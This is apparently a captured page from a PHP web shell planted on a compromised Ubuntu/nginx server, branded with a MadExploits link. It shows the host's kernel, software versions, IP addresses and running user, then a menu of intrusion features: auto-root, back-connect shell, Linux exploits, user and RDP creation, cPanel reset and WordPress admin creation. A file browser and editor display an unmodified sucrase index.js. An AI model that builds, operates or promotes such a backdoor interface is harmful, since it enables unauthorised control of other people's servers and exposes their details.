Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
sucrase /
dist /
esm /
[ HOME SHELL ]
Name
Size
Permission
Action
parser
[ DIR ]
dr-xr-xr-x
transformers
[ DIR ]
dr-xr-xr-x
util
[ DIR ]
dr-xr-xr-x
CJSImportProcessor.js
14.93
KB
-rw-rw-rw-
HelperManager.js
5.47
KB
-rw-rw-rw-
NameManager.js
642
B
-rw-rw-rw-
Options-gen-types.js
1.15
KB
-rw-rw-rw-
Options.js
351
B
-rw-rw-rw-
TokenProcessor.js
9.93
KB
-rw-rw-rw-
cli.js
9.19
KB
-rw-rw-rw-
computeSourceMap.js
2.36
KB
-rw-rw-rw-
identifyShadowedGlobals.js
2.85
KB
-rw-rw-rw-
index.js
4.23
KB
-rw-rw-rw-
register.js
2.08
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
import CJSImportProcessor from "./CJSImportProcessor"; import computeSourceMap, {} from "./computeSourceMap"; import {HelperManager} from "./HelperManager"; import identifyShadowedGlobals from "./identifyShadowedGlobals"; import NameManager from "./NameManager"; import {validateOptions} from "./Options"; import {parse} from "./parser"; import TokenProcessor from "./TokenProcessor"; import RootTransformer from "./transformers/RootTransformer"; import formatTokens from "./util/formatTokens"; import getTSImportedNames from "./util/getTSImportedNames"; ; export function getVersion() { /* istanbul ignore next */ return "3.35.0"; } export function transform(code, options) { validateOptions(options); try { const sucraseContext = getSucraseContext(code, options); const transformer = new RootTransformer( sucraseContext, options.transforms, Boolean(options.enableLegacyBabel5ModuleInterop), options, ); const transformerResult = transformer.transform(); let result = {code: transformerResult.code}; if (options.sourceMapOptions) { if (!options.filePath) { throw new Error("filePath must be specified when generating a source map."); } result = { ...result, sourceMap: computeSourceMap( transformerResult, options.filePath, options.sourceMapOptions, code, sucraseContext.tokenProcessor.tokens, ), }; } return result; // eslint-disable-next-line @typescript-eslint/no-explicit-any } catch (e) { if (options.filePath) { e.message = `Error transforming ${options.filePath}: ${e.message}`; } throw e; } } /** * Return a string representation of the sucrase tokens, mostly useful for * diagnostic purposes. */ export function getFormattedTokens(code, options) { const tokens = getSucraseContext(code, options).tokenProcessor.tokens; return formatTokens(code, tokens); } /** * Call into the parser/tokenizer and do some further preprocessing: * - Come up with a set of used names so that we can assign new names. * - Preprocess all import/export statements so we know which globals we are interested in. * - Compute situations where any of those globals are shadowed. * * In the future, some of these preprocessing steps can be skipped based on what actual work is * being done. */ function getSucraseContext(code, options) { const isJSXEnabled = options.transforms.includes("jsx"); const isTypeScriptEnabled = options.transforms.includes("typescript"); const isFlowEnabled = options.transforms.includes("flow"); const disableESTransforms = options.disableESTransforms === true; const file = parse(code, isJSXEnabled, isTypeScriptEnabled, isFlowEnabled); const tokens = file.tokens; const scopes = file.scopes; const nameManager = new NameManager(code, tokens); const helperManager = new HelperManager(nameManager); const tokenProcessor = new TokenProcessor( code, tokens, isFlowEnabled, disableESTransforms, helperManager, ); const enableLegacyTypeScriptModuleInterop = Boolean(options.enableLegacyTypeScriptModuleInterop); let importProcessor = null; if (options.transforms.includes("imports")) { importProcessor = new CJSImportProcessor( nameManager, tokenProcessor, enableLegacyTypeScriptModuleInterop, options, options.transforms.includes("typescript"), Boolean(options.keepUnusedImports), helperManager, ); importProcessor.preprocessTokens(); // We need to mark shadowed globals after processing imports so we know that the globals are, // but before type-only import pruning, since that relies on shadowing information. identifyShadowedGlobals(tokenProcessor, scopes, importProcessor.getGlobalNames()); if (options.transforms.includes("typescript") && !options.keepUnusedImports) { importProcessor.pruneTypeOnlyImports(); } } else if (options.transforms.includes("typescript") && !options.keepUnusedImports) { // Shadowed global detection is needed for TS implicit elision of imported names. identifyShadowedGlobals(tokenProcessor, scopes, getTSImportedNames(tokenProcessor)); } return {tokenProcessor, scopes, nameManager, importProcessor, helperManager}; }
Close